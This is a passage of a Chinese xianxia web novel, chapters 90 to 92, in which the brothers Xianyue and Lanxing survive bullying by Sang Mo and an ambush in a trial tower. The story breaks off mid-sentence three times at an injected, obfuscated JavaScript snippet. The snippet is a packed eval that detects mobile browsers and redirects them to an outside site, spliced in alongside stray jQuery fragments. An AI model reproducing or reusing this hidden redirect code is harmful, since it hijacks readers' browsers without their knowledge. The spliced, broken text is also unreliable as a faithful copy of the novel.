桑陌道:“月公子,我真是不懂你,你遭遇了那些事情,竟然还能这般为你弟弟着想。” 他一下子踩住衔月那只有残缺的膝盖,衔月登时吃痛地闷哼一声,下一瞬就立即紧紧咬住牙关,桑陌笑着道:“一个天之骄子,一个残缺废物。一个受尽父亲宠爱,自小拜名师学精技,一个则被常年漠然视之,在自家都要苟延残喘的活着,面对这样的境况,如果是我的话,哪怕他是我的亲弟弟,我也只恨不得立刻把他除掉。” 他的语气无比的贴心,好似真的在替眼前之人惋惜,慨叹道:“月公子啊,我真的不懂你到底是聪明还是傻了。” “不过,这是你们之间的事情,与我无关,与我有关的,是我和你之间的事情,关于刚才我说的事情,我可以给你三天时间,三天内你若是想好,可以自行离开,我看在你懂事的份上,可以既往不咎,但你若是选择不离开,我也并不介意,送你离开。” 留下这番话,桑陌就带着他的手下离开了。 衔月灵穴被点住无法动作,也不知多久才能自己解开,只得这样,一直等到了天黑。 寂静的夜幕丛林间,充满各种诡异的声音,偶尔还听得见一两声低沉的吼叫,也许是野兽,也许是恶灵幽魂,衔月不免觉得情况有点麻烦起来,万一撞上这些东西袭人,他现在可真是羊入狼口,毫无反击之力。 却在这时,不知从何处传来的沙沙声,像是有什么神秘的生物在枝叶间穿梭。 90. 星月无双9 万幸情况没有更加糟糕下去,来者是深夜不见他归出来寻他的揽星。 揽星奔至近处见他如此狼狈模样,登时大惊失色,立即解了他的灵穴,扶他坐起道:“哥哥,你怎会在这里?还弄成了这幅样子?是遇袭了吗?” 光是询问已不够放心,伸手就要去探他腕间脉象查看伤势,却措不及防被衔月堪堪避开。 他诧异其动作,不解地望向衔月。 衔月憔悴的面容上带着疏离的神态,开口语气也并不客气:“谁让你来找我的?” 揽星道:“没人让我找你,我,我就是看你这么晚了房间始终黑着没回来,我.....我有点担心你。” “担心我?”衔月嗤笑一声,道:“揽星,你的热心肠过于泛滥了吧,管的这么宽?” 不等他回话,衔月又一副恍然大悟的样子,道:“哦我知道了,是不是我最近给了你太多的好脸色,以至于让你觉得好像我们之间关系很好的样子。” 揽星僵在原地做不出任何动作,他有些反应不过来,只是分开了这么一阵,哥哥的态度怎么突然一百八十度大转变了。 揽星开口有些艰涩,道:“我们,我们......” 衔月道:“如果你是这么想的,那恐怕你要失望了,因为在我看来,我们的关系并不算好,甚至,是很差很差,因为,我是无比的厌恶你,憎恶你,巴不得你离我远一点。” 揽星脑子有些发懵,不可思议道:“你,你讨厌我吗?” “当然!”衔月道:“难道我还应该多么喜欢你吗?是不是我近日没有反复强调,以至于你就又忘了几年前你在我房门前,我跟你说的话?没关系,如果你记性不好恰好忘记了,我可以给你重复一遍。” “那时,父亲责怪我私自和你出去,害你差点丧命,当着全家上上下下所有人的面前,说我丧门星害死母亲不够,还要害死你。从那时起,我就已经对父亲,对你彻底失望,我只恨不得与你们彻底割席,从此再无联系,那之后你百般纠缠于我,我也说的很清楚了,我厌恶你,希望你可以离我远一点。真是奇怪,这些年你明明做的还算不错,怎么进了训练营,就好像又忘了呢?” 静默半晌,揽星才道:“可我也说过,父亲所说,与我无关,我心里始终当你是我最重要的亲人,我......” “可是我没有。”衔月打断道。 揽星一瞬间眼睛都瞪大了,衔月无视着他受到震慑的表情,接着道:“我从来没有把你当成我多么重要的亲人。揽星,这是必然,你别怪我,如果我的命数换给你,你也会如此,一个人背负着天生残缺的命运开局,失去唯一疼爱自己的母亲,苟延残喘祈求父亲的爱而不得,受尽他人的白眼与嘲讽,无人可依,无人相护,又看着厌弃自己的父亲百般疼爱自己的亲弟弟,他怎么可能还会如此宽宏大量呢?” 衔月越说越激动,说到后面已经开始咬牙切齿,道:“一直以来,我都只恨不得你消失在这个世界上,如果没有你,或许我的人生,还不会经历那么多的悲惨!还可以多那么一点可悲可怜的关爱!” 揽星瞠目结舌,道:“可你,可你,我不信,你以前绝不是这个样子的!” “我装的啊!很像,很真,对吗?不然你也不会如此深信不疑。”衔月发出一阵大笑,似心中畅快的紧,道:“我不骗你,我怎么能让你待在我身边,没有你待在我身边,我又怎么能那么简单的帮自己扫清那么多,贱的要死来招惹我的混蛋们!你......” 揽星忽然猛地推了衔月一下,他终于再也无法忍受,打断了衔月那些源源不断涌出,让自己心耳都折磨不堪的话。 他胸口剧烈的起伏着,明明怒火滔天,眼眶里却盈满了象征脆弱的泪,看着摔倒回地上的衔月,望着他笑得快意,他只觉得羞愧难当,只觉得自己满腔心意这么多年都是喂了狗,良久,他连怒吼都做不到,只能悲愤地道出一句:“衔月,你他妈真是个混蛋!” 起身便像个逃兵般跌跌撞撞地跑走了。 衔月弯起的嘴角直到揽星的身影再也寻不到一丝,才垂落下去。他捂着仍是疼痛难忍的腹部坐起来,喃喃道:“妈的,看来他真的气得不轻。” 忽而露出一丝苦笑,暗道:桑陌是个恶人,有一点说的倒是没错,他可能真的是个傻子。 他是绝对不会认输离开训练营的,那么如桑陌所说,恐怕自己之后的境遇定是十分糟糕,而这个时候,他首要的,竟然不是担心自己,而是担心揽星会受自己的牵连遭桑陌所害,甚至,要用这样愚蠢又拙劣的演技方式,假作割席把其逼走。 好了,如他所愿,现在他自己又是一个人了。 回想起桑陌留下的威胁警告之语,他摇摇头。 算了,又能如何呢,他烂命一条,怎么都能忍,怎么都能活,但绝不能输,就是了。 衔月手撑着地艰难地站起,朝着回路迈起步子,每一步都步履维艰,如他人生过去的十多年一样。 归路之上,如银的月光洒下之时,他的影子被拉得长长的。 ...... 桑陌这个人虽然阴损,但确实是一言既出驷马难追的。 三天期限过后,桑陌当然没有从衔月那里得到他想要的答案,于是很快,他便开始履行他当时所说了。 让一个人感到不舒服的方式,首要的,便是欺凌他的身体,从那日后,桑陌便不知从哪里组成了那样一支追随他的队伍,或许以前就有只是衔月并没注意,他们开始在训练营各处阻挠衔月的去路,靠着人数的优势将他逼至隐蔽之所进行集体殴打,又用世上最恶毒的语言辱骂他。 每次施暴过后,桑陌总是带着胜利者的姿态,拍拍衔月的脸道:“怎么样,你认不认输?走不走?” 而衔月永远只是那句:“不认,死也不认,死也不走。” 这些人够损够坏,却也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604073|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不傻,打人之时还记得隐匿自己所有的痕迹,让衔月连告发都无处告发,所以在很长一段时间里,衔月都只能咽下这些艰辛,旁人见到他的时候他的脸上总是带着伤的,而走过之后,又是议论纷纷,人人都知道他惹了桑家那位不能惹的人物,人人都慨叹不已,但也人人都漠视走过。 衔月苦笑,桑陌确实没有让他死,但确实也让他活的无比痛苦。 而揽星呢?衔月回想,好像确实不怎么见得到他了,偶尔听身边人言语,好像听说揽星潜心修炼,进了闭关室,衔月对此倒是十分满意:好啊,进闭关室好,他也不太想他看见。 这样的日子持续了半年之多,桑陌并没有对这样的“课余活动”失去兴趣,反而越挫越勇,从身体上的欺凌化为了别的。 一次,训练营内授业宫使奉地君之命看守的重要文书不翼而飞,整个训练营内都被翻了个底朝天,最终,却是在衔月的枕头下发现的。 衔月被管事宫使带走的时候并无惊讶慌张,只是平静地看了桑陌一眼,对方立刻朝他会心一笑。 虽然关押盘问了他许久,总算是解除了嫌疑,但是人言可畏,再加上桑陌一伙人有心为之,渐渐地,人群间起了声量,而他的名声,也从“瘸子”变成了“手脚不干净的瘸子。” 一年过后,揽星走出闭关室,首次实演便大放光彩,成绩卓然。 衔月却是连前十都没进去。 这并不怪他,他已经尽了自己最大的努力了,可是外力影响因素过多,有时候被影响是不可控制的。 他站在训练营大榜前,长叹了口气,刚要离开,就对上不知何时也来到附近的揽星的眼睛。 他的视线不再如以往那般温和,却也不冷漠,只有平淡。 揽星的视线逐渐下移至他的下半张脸,衔月这才恍然意识到自己嘴角可能还带着还没完全康复的淤青。 他二人见面相对,难得张口结舌的竟是他,只是揽星似乎对他并无兴趣,转身便自顾离开了。 又过三月,衔月觉得自己可能有点扛不住了。 桑陌那伙人打的比以往每一次都要狠,狠的他连硬爬起来回茅屋都做不到。忘了说,这茅屋是他给自己寻的新住处,毕竟桑陌那个样子,也不会允许他和以前一样和他住在一个房间,况且,桑陌就是让他住,他也不敢住。 茅屋破败简陋,实在安全,环境却也是真的糟糕,经常弄得他身上脏污不堪,躺了几天,似乎身体已恢复的还算可以,衔月想想,带上东西,去了训练营的浴房。 浴房之内,傍晚这个时辰人很多,衔月进入内室寻了处偏僻的地方,收拾他自己的。 忽而外面传来一阵骚动声,人群的议论声向潮水般越涌越近。 他起初并没在意,等反应过来的时候,才发现,浴房内的人似乎都走光了。 他正要出去看看,突然外室传来熟悉的说话声音。 桑陌。 91. 星月无双10 衔月似乎并不意外他们的到来,闪身躲到内室一处屏风后面,刚好遮住他的身影。 桑陌那伙人一进来便吵吵嚷嚷,直到那位阿峰突然斥声道:“行了!都安静些,没看到公子情绪不佳吗?!” 众人这才噤了声。 半晌,其中一人嗐声道:“哎哟桑哥儿,别担心,揽星那个家伙不过是一时之能,以你的能力下次肯定能超过他。” 衔月暗道,看来是近日多次实演桑陌的成绩都不如揽星,无形间给他增添了诸多压力。 阿峰道:“岂是你说的这般容易,他闭关一年不是闹着玩的,我之前暗自打探过,他现在灵息已大有增长,上次实演,他似乎并未施放全力,没准实际功力已至更上乘。” “这......”众人陷入为难。 另一人又道:“要不,我们暗中做点什么?” 沉默良久的桑陌终于开口道:“先不要冒然行动,他现在是宫使眼前的红人,若真成了,倒也遂心,若被他发现,就反陷我们自己于不利境地了。” 众人连连称是。 桑陌说话颇有分量,又或是这帮他身边的狗腿子附和他已成习惯,衔月合理怀疑,这帮人有的可能都没听清桑陌说什么,下意识就开始一阵夸赞了。 忽而桑陌又起话茬道:“那个瘸子怎么样了?” 这瘸子自然指得是衔月,他一听见立刻绷紧了身体。 阿峰道:“上次过后伤的不轻,最近很久没见了,也没来炼功房,不知道去哪了......之前烧过一回他的地盘,似乎最近他又寻了别处住所,尚未寻到具体位置。” 桑陌冷笑一声道:“找到后,和上次一样,再一把烧了,注意,不要留痕迹。” 阿峰应是。 桑陌坐在水台旁边,轻闲惬意地撩了把池中的水,平静的水面当即起了一层波浪,他自言自语嘲讽道:“衔月啊衔月,你可真是活该,若不是当初你非要插手救那个下贱的东西,也不会落到今天这步田地,事到如今,我看你还能坚持多久,我期待着,你连滚带爬滚出训练营的那一天!” 尾音落下的同时,他狠狠掷出一枚手里的把玩的石子,落入水池中,噗通一声溅起水花。 与此同时,衔月不经意后退一步,不小心碰到屏风后的柜子,发出了微小的声响。 “什么人?!”桑陌立即惊觉回头。 所有人的视线都聚焦到屏风。 衔月暗骂自己怎么如此马虎暴露行迹,随着众人缓缓朝他的方向靠近,他一颗心不自觉提到了嗓子眼。 桑陌一只手已碰触到屏风,道:“别躲了,你跑不掉的。” 他的声音仿佛是从地狱间中飘来的幽灵呢喃,带着丝彻骨的寒意,衔月阖了下双眼,知晓自己已无路可逃,刚要动作走出屏风,却忽而屏风后传来砰然巨响,紧接着便是一声吃痛声,众人连连惊呼。 桑陌大惊失色,惊呼道:“怎么是你?!” 熟悉的声音带着并不常见的语气道:“妈的,我揍死你!” 屏风外一阵混乱嘈杂,拳头撞肉的撞击声和众人的吵嚷声此起彼伏,显然已是争执打斗了起来,衔月顾不得其他,匆忙奔出屏风,当他的目光触及到外面场景的那一刹那,双眼陡然睁大。 那突然现身之人竟是揽星,只见他此时满脸通红青筋暴起,将桑陌狠狠按在身下,拳头如泼天暴雨般连连落在其身,每一拳都似抒发着强烈的怒火,眸间凶狠,怒骂道:“我就知道,我就知道,是你欺负他!” 衔月一时竟呆住了,桑陌的那些跟班们拉不开揽星,就开始连连齐心攻击他,然而那么多人的拳头落在揽星的身上他也似毫无所觉,好似今日铁了心了就是要打死桑陌。 桑陌毫无招架之力,眼见他那原本清秀的面庞此刻已经肿胀变形,阿峰在侧忽而双指并起,灵息聚于一点,杀招毕现! 突然,一阵旋风刮过,带着不知来处的尘雾扫向众人,所有人立即挥臂抵挡。 尘雾散尽,众人急忙去探情况,发现刚才还扭打在一起的两人,如今只剩下了躺在地上失去知觉的桑陌。 丛林间,衔月拽着揽星奋力疾跑,直到筋疲力尽下他的腿不自觉开始发软,差点摔倒被揽星接住才停下。 揽星关切道:“哥哥,你没事吧!” 衔月气喘吁吁,扶着旁边的树干瞟了他一眼,劈头就是一句:“你是傻的吗?那么多人你打得过?行事如此莽撞,真是愚蠢!” 揽星据理力争道:“可是他们骂你,还那样对你,我怎么能忍!”想到什么又道:“再说了,我才不蠢,有的人才是真蠢,不把真相直说,反而假作冷漠之态将人气走!” 字字暗讽,直指衔月之前所行! “你!”衔月气到没话说,又喘了两口气,抬眸刚想接着教训就看到揽星脸上刚刚遭人拳头落下的淤青。 他下意识伸出手,揽星一瞥,立刻又收回了,停顿半晌,似十分无奈,叹口气道:“走吧,回去休息吧。” 揽星道:“现在回寝房?他们没准就在门口等着收拾我们呢。” 衔月淡淡道:“不回寝房,回我那。” 他所指之地正是他在训练营旁郊外自己搭起那处茅草房。一进屋,看到那破败场景,揽星就皱起了眉头道:“哥哥,你怎么住这么差?” 衔月拿出一个匣子,道:“住这么差该有的也都有,坐下!” “哦。”揽星摸了张椅子乖乖坐下了。 衔月从匣子里拿出药膏,轻轻地涂在揽星脸上,他当即嘶的一声,衔月立即动作一缩,眉头蹙起道:“忍着!” 说是这么说,再涂上去的时候动作明显轻了。 突然,衔月轻声道:“什么时候知道的?” 揽星当然知道他指得是什么,淡淡道:“早就知道了。准确来说,你当时说我就没信。” 他按停了衔月给他涂药的手道:“那时,我猜到你肯定有事情瞒我,那么做,一定是惹上了难以对付的家伙,你怕我会受你的连累,所以我也清楚,我在你那里是得不到真相的,于是我便只有暗中探查,但还没查明,刚巧那时宫使就找到了我,他奉地君之命询问我愿不愿意去闭关一阵,回来过后便可功力大涨,我想着之后若是对上那家伙,如果有了更强劲的功力,也能更稳妥一些,可是我没料到,闭关之时我花了那么多精力也无法突破上乘心法,以至于一去就那么久,而我出来之时,我才知道,在这期间,你居然遭遇了这些!” “桑陌做事确实滴水不漏,根本没有遗留什么痕迹,营里的人怕得罪他,也不敢说实话,以至于回来以后我探查了那么久,然而也是刚才躲在暗处听他所言才知晓全部事情原委。” 他心下一阵痛心,道:“哥哥,你当初应该告知我实情的,如果我知道你会遭受这些,怎么样我也不会选择闭关,留你一个人面对这一切。” 衔月沉默不语,眼皮颤了颤,道:“算了,都过去了。” 他收起药匣,轻笑一声道:“说起来,在某种意义上,他这般行为,无形间倒也磨炼了我的心志,让我变得更加坚定......判官之位,我不会放弃的,这个位置我势在必得。” 其实他现在的情况非常不乐观,但不知为何,他好像从小到大心里都有一股劲儿,便是自己所念必须得到,哪怕千刀万剐,历尽千辛,也一定要得到。 他起身将药匣放回原位,走到茅草屋内唯一一张用简单木头拼凑而成的破烂床边,开始收拾打扫,今晚寝房是回不去了,也就是说,揽星也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628251|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要住在这里,但原来的潦草样子,可住不下他们两个人。 寂静深夜,烛火摇曳,他的身影被投射在斑驳的土墙上,微微晃动。 身后蓦然响起人语,沉稳而有力:“哥哥,其实你可以有依靠的。” 衔月一下子拿着被角僵在那里,想起之前他对揽星说的话。 揽星缓缓道:“哥哥,那时你说,你无人可依,无人相护......可是我想说,我可以成为你的依靠,我可以做的你靠山,有我在,我不会让世界上任何人欺辱你。” “无论对面是穷凶极恶的恶徒,还是丧心病狂的厉鬼恶灵,我都会站在你面前,替你阻挡。” “——我不怕连累,也有和你一起面对世界的勇气,但我只求......只求你让我别再赶走我。” 须臾之间,他已走到了衔月身后。 就像小的时候,第一次见面的时候,个子矮小的他抱住亲哥哥,如今,他终于再次鼓起勇气,伸出双手。 被环住腰间的瞬间,一股暖流冲撞进了衔月的心间,他原本平静的面庞转瞬已满是动容之色,嘴巴微微张开,似乎想要说些什么,却又仿佛被情绪堵住了喉咙,一个字也道不出来。 于是便只能在心间喃喃低语:揽星,你说我那时对你所言之语,皆是怕连累了你,这为实情,但你却不知,那番话里却也饱含了我的一部分真实心意。我.....是真心嫉妒你的,却也是真心的感谢你,因为无论现在,还是过去,好像在我窘迫之时,你都是唯一站出来坚定地选择我,向我承诺保护的人。 我,真的不知道,这一次,到底要如何才能再狠下心拒绝你了。 ...... 良久,那艰涩的声音才从前方传来,衔月只说了一个字。 “——好” 却承载着世间不含其余任何杂质,最真挚的情感和约定。 ...... 第二日,揽星衔月回到训练营,对视一眼,并肩踏进训练营大门。 远远迎上被阿峰推着过来,坐在轮椅上的桑陌,他的笑容还是那般周到且阴森,瞥了眼揽星又看向衔月道:“恭喜你,找到帮手了。” 衔月不卑不亢道:“多谢桑公子了。” 桑陌笑容骤收,哼了一声道:“来日方长,我们走着瞧。” 语毕,便招呼着由阿峰推着离开了。 他一走,衔月登时心下一松。揽星忽而道:“对了哥哥,这个是你的东西吗?昨日从浴房匆忙逃走时,我从地上捡到的。” 那是一个药瓶,衔月倏一看清,脸色骤变,却很快恢复,一把拿过笑道:“是我的,给我吧......多谢。” 揽星微笑颔首,望天际猛然惊觉自己今日还有一门灵典心法与宫使约好要赶去修炼,速速道别。 他走后,衔月敛了笑容,走到旁边一棵树下,一只老鼠从树洞里爬出,他眉眼冷淡的望着,忽而拿出那药瓶,拔开盖子,将里面的药汁倒出,流到老鼠身上。 刹那间,老鼠的皮肉在药汁的侵蚀下开始溃烂,滋滋作响,就像一块被烈火焚烧的破布,从伤口处不断冒出缕缕黑烟,不多时,它那原本小巧的身体已逐渐变得面目全非,惨不忍睹。 衔月将药瓶随意地扔在草地间,冷笑着转身离开。 原本应该早已离开的揽星从有段距离的粗树后蓦然现身,似乎一直等候在此。 他走出,走近,看着那早已被腐蚀的不成形状的老鼠残身,回想起昨夜在浴房时,他躲在暗处,看到衔月将那药瓶放在众人沐浴的水池旁边,随即悄然闪身到一旁。 那个位置放的可说是恰到好处,如果人们嬉戏时不经意将其打翻,那么后果...... 揽星深深锁起了眉头。 92. 星月无双11 多年试炼,一朝结果。 判官擢选终试在即,在那之前,衔月跟着揽星久违的回了趟家。 父子三人的饭桌格外安静,只有偶尔揽星插嘴几句聊聊训练营里发生的事,衔月则一直沉默不语。 揽星眼珠子灵动地左瞄右瞄,有心缓解衔月和离凡君的关系,于是努力的把话题一阵往衔月身上引,他兴奋地道:“爹,我跟你说,哥哥可厉害了,上次实演有一个特别狡猾的魔物,把我们好多人都骗过去了,最后还是哥哥发现抓到的!” 离凡君吃着饭,几不可闻的“嗯”了一声。 “......呃。”揽星又道:“还有还有,前不久哥哥还发表了一篇,如何通过药物改变人体内灵息流转方式的著述呢,我们总宫使看了都震惊了!” 离凡君仍是头都没抬,又“嗯”了一声。 忽而,衔月咳嗽了一声,揽星看过去,衔月给他了个眼神,意味明显:不必再继续努力找话题了。 揽星便只能苦恼作罢。 “我吃好了,先回去磨药了。”衔月刚起身,离凡君却道:“等一下。” 衔月顿足。 离凡君皱起眉头:“你这手臂是怎么搞的?” 衔月今日在家不像平时在训练营里穿的是方便行动的箭袖袍,而是以舒适为主的大袖袍,他刚才将碗具放在桌上,袖子一下子垂下去,刚刚不经意间露出手腕延展至手臂上一块面积并不小的紫淤。 他淡淡道:“前几日实演抓魔物的时候,不小心受伤了。” 饭桌前陷入漫长的静止无声。 突然,离凡君道:“出门行事要懂得量力而行,如果不自量力一味莽撞,只会搬起石头打自己的脚。” 袖袍之下,衔月的拳头一下子攥紧了。他背对着离凡君,一边嘴角牵起冷笑,心道父亲果然还是那个样子,永远只看得到他的不好,亏他还天真的有所期待,真是愚蠢。 他冷言道:“多谢父亲提醒,我会的。” 语毕便头也不回的走出了膳厅,本想回家中药炉,转念想想,直接出了门往训练营的方向去了。 几日后,判官擢选终试。 终试场,则是将所有受训者送入特意打造的一座七层高塔内进行淘汰制选拔,每一层魔物的种类和品阶皆不相同,受训者需得从底层打到最高层,而最终取得顶层藏匿宝物——乾坤匙,打开宝塔顶层出口的人,才能作为赢家登上判官之位。 揽星和衔月被分配从不同的入口进去,各自直打到第五层才碰上面,这里没有多余的陈设,目光所及之处尽是一片空旷与寂寥。相对于前四层的群魔乱舞,眼前的第五层显得过于安静了些,然而,越是安静越是让人容易不安。 衔月朝揽星道:“留神戒备。” 光线很暗,唯有正中央的一颗夜明珠散发着柔和而独特的光芒,然而照亮范围有限,亦无法将远处的空间完全照亮,趋光的本能,促使二人朝中央的珠子靠近。 衔月正视线聚焦于上,忽而听得揽星喝道:“哥哥当心!” 瞬间转身,只见长剑袭面而来,不等他动作,揽星辰宿剑已然出鞘,铮的一声挑开那飞来横剑。 兄弟二人霎时背靠背成攻防一体之姿,连连鼓掌声响起,桑陌从黑暗中走出,望向二人笑着道:“你们好啊,又见面了。” 揽星面色不痛快起来。虽说自从他们兄弟二人和好之后相互照应,桑陌一伙人就不太能对他们造成什么威胁了,然而他这人之前行为实在可恶,一见面又总是这幅小人得志的样子,以至于揽星不管什么时候只要一看见他火气就蹭蹭往上冒。 揽星道:“真是冤家路窄。” 桑陌却道:“不不,我们在这里遇见,可并非是因为巧合呢。” 揽星衔月一下子意识到一件事,刚才他们从四层还没上来的时候,记得身边是有其他的受训者趁魔物被他们困住分神之际,先于他们奔上了第五层,然而等他们赶到的时候,却毫无动静,一瞬之间所有的人好像忽然都消失了。 每一层的难度是逐步递增的,他二人已属所有受训者中的能力佼佼者,在闯第四层的时候都花费了大量时间,可以确定的是,那些投机取巧先于他们奔上五层的人,绝不可能在这么短的时间闯过第五层。 想到此处,衔月立即蹲下身,用手扒了扒地上的尘土,露出被遮蔽住的一处红色阵法痕迹。 那是幻象传送阵,衔月抬起头看着桑陌得逞的笑容,心下雪亮,桑陌一定是提前预埋在这,设置了这个阵法陷阱,传送所有人到了其他空间从而强行淘汰,但至于为什么他们没有被传送走呢..... 这时,桑陌道:“这些人运气还算好,我只是需要他们不要来捣我的乱,乖乖滚开就好,但是你们......” 他举起剑朝向二人:“我要的,是你们——死!” 揽星忽而发出一阵大笑,见他丝毫不惧反而一副狂妄之姿,桑陌道:“你笑什么?” 揽星道:“我笑你不自量力,以现在的实力,我二人任何一人出手,你都无法匹敌,竟还妄想取我二人性命?” 桑陌冷笑一声,道:“我打不过,那么,它呢?” 头顶透过墙体传来动静,揽星衔月抬首上望,忽而,一声惊雷巨响炸破塔内静谧,只见一庞然巨物带着无可匹敌的强势直接击穿顶棚,从高空呼啸而下,碎石瓦砾迸射开来,尘飞土扬。 那是一只浑身散发魔气的狂兽,双眼闪烁着诡异的红光,尖锐的獠牙在昏暗光线下泛着森冷的寒光,每次喘呼,都带着沉重的压迫感,仿佛下一秒就要冲将过来撕碎眼前的生物。 衔月漠然地将视线转向桑陌道:“你在塔内弄出这么大的动静,不怕地君和宫使发现吗?” 桑陌不屑一顾道:“我早有准备,现如今整座塔外都已被我设置了结界,莫说闹出大动静,就是这座塔坍塌在众人面前,也不会被发现,回头等他们发现你二人的尸体,我就说是塔内妖魔群起而攻之,你二人误中陷阱,不敌落败,意外丧命,塔内已无其他旁观者,根本不会有人站出否认我的说法!” 桑陌吹了个口哨,顷刻之间,狂兽就已锁定了眼前的目标。 它以惊人速度冲向星月二人,一只巨大兽足猛劲蹬踹而来,揽星衔月左右各自飞跃避过,袭击失败的狂兽霎时眼中嗜血光芒更甚,收回嵌入墙体的兽足,再度袭去。 揽星衔月与他缠斗在一处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671556|124362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,几轮过后,忽而惊觉,挥出的利锋剑影竟然对这狂兽作用甚微,不止如此,它似乎还会吸收剑势里夹杂的灵息,再于瞬间转化为自己的魔息,张开血盆大口,轻易便吐出一股无法阻挡的黑色风暴。 揽星撑剑在身前艰难抵挡,忍不住大喝道:“怎么回事?这鬼东西哪来的,他自己炼的吗?” 衔月侧喊回应道:“他炼不出来这种品阶的!” 衔月并无嘲讽之意,只是陈述事实,然而进桑陌耳朵听着就没那么舒服了,他气的面上一阵扭曲,最后干脆摆烂了,直言道:“你说得对,我确实炼不出来,但是我有一位朋友,他可以!我敢保证,他炼出来的,你们一定打不过!” “哦?!”揽星道:“你叫他出来,小爷打他个落花流水给你看看!” 桑陌哼声道:“强作潇洒!” 他边说着边翻手变出一具琴,抵抗间二人眯眼望去,那是一具通体白色的琴,但那白色十分不正常,不是透亮的白,而是惨白,桑陌傲慢一笑,覆手在上,信手拨弹,哀鸣之音即出! 霎时,一个巨大的骷髅样貌的气影浮现而出,压迫感扑面而来。揽星衔月瞳孔急剧收缩,瞬间警醒,那琴竟是夹杂着亡者的怨念制成,可造出影魔袭人的人骨之琴! 一魔未消,一魔又起。 狂兽与骷髅影魔夹击冲过来,揽星瞪着眼前逼近的狂兽,撑着剑咬牙切齿道:“快——挺不住了!” 下一瞬,怨气与魔气冲撞在一起,发出巨大的爆鸣声,整座妖塔地动山摇,滚滚浓尘四溢而出,再也听不到揽星衔月任何一丝战斗之声。 桑陌看着眼前的一切,露出得偿所愿的奸笑。 然而,就在这时,那黄色的扬尘间竟现了一块巨大的白色光点,辐射的范围越来越大......不对!仔细望去,那是一个白色的法阵! 逐渐散去的尘灰里,符文和线条勾勒出的法阵中央,站着一道凌厉的人影,阖着双眼。 他看着可说是安然无恙,桑陌忍不住道:“衔月你......” 下一瞬,衔月猛然睁开双眼,银色灿烂的光辉从中绽放,如同月亮升起时的万丈光芒。他大喝出声,霎时,强大的灵息如汹涌的潮水般奔涌而出,风暴一般直捣桑陌心口,穿身而过! 震耳欲聋的风暴声激荡在整座塔内,良久才归于平静。空气间飘荡着着衔月残余灵息的细小光点,如同无尽夜空中璀璨的星辰。揽星从衔月身后走出,刚好接住消耗大量灵息后一时虚弱的衔月。 揽星眸间充斥钦佩与感谢,刚刚危难之时,正是衔月及时出手布施法阵,方才保全他二人性命,击败桑陌。 忽而,远处趴在地上的桑陌动了动。 揽星衔月同时意外望去。为了结束之后将他转送至地君处发落,衔月刚才施招留了一手,是以他绝不会丧命,但是那样的力度下去他也不应该此时转醒。 桑陌抬起头的瞬间,揽星衔月瞪大了双眼,只因他的黑色瞳仁竟正在扩散,且迅速覆盖,吞噬掉全部眼白,变成了全黑的两只眼睛! 一旁受风暴波及早已碎成两段的人骨琴无人所控,突然自行原地颤抖起来,一下爆破,射出一股恶能,灌入桑陌心口。